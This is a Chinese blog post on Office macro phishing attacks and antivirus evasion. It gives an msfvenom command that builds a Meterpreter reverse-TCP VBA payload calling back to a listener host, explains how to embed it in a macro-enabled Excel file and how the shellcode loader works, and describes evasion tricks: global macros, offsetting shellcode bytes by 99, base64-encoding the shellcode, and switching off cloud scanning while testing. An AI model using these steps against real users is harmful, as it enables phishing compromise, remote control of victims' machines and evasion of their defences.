Office宏攻击及免杀

作者: H0r2yC 分类: 内网渗透 发布时间: 2019-08-01 22:12

0x01 前言

    感谢倾旋大佬以及Jaky大佬在测试过程中的帮助。

    通过office展开的钓鱼攻击一直都是个备受关注的问题,恶意宏不仅代码量小,而且兼容excel、word、ppt。带有恶意vba代码的office文件,被打开并启用宏就会导致恶意代码被执行,但是由于office用户大多未启用宏,需要用户点击启用宏才可以执行宏代码,所以隐蔽性较差,大多结合社工引诱用户开启。在实际测试场景中,宏攻击可以配合其他攻击来达到更大的效果,例如通过宏攻击实现权限维持等。

0x02 测试过程

    msfvenom生成vba源码的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.1.18 lport=4444 -f vba -o code.txt

   创建一个test.xlsm文件(xlsm为启用宏的文件),启用宏功能

    视图-宏-查看宏

    发现创建选项是灰色的,可以通过视图-宏-录制宏,然后在停止录制,这时候在查看宏就可以编辑了

    将code.txt中的内容粘贴,点击导航栏运行或者保存关闭再打开test.xlsm文件

    可以看到获取到了session

    shellcode内容如下

    可以看到Yugbopie这个数组即shellcode,在声明shellcode数据后申请虚拟内存空间,再遍历Yugbopie数组中的每一个ascii,再将值传递到内存空间,最后创建线程运行。

0x03 免杀

    可以通过创建全局宏或局部宏实现免杀。

全局宏:

    创建全局宏后再打开所有文档都会加载全局宏,全局宏隐蔽性较高。本次测试中通过docm创建的宏保存下来就是全局宏,在调试代码免杀的过程有可能由于代码问题会导致word打开就闪退,这时候可以先将全局宏文件删除在重新打开word新建宏,全局宏文件目录

C:\Users\11810\AppData\Roaming\Microsoft\Templates

删除目录下normal文件

局部宏:

第一种:

    可以先对shellcode的数字进行处理,比如每位数+99,等到运行的时候在-99,例,shellcode如下

    假设Yugbopie中的shellcode均为+99处理之后的数字,那么我们在遍历过程中对Long型变量Ukaqf进行了一个-99的操作让它回到原来的数据,在后面Msgbox该变量查看是否是执行了-99的操作,发现成功

第二种

https://blog.csdn.net/iamlaosong/article/details/38229755

在这个博客中找到了大佬写的base64解密方法,那么可以先对shellcode进行base加密,然后在运行过程中解密来达到免杀的目的。

附一张检测图:

注意:

杀毒的时候记得关掉云查杀,大家都懂。

有兴趣的大佬记得点波关注。

     

公众号:网安成长笔记

发表评论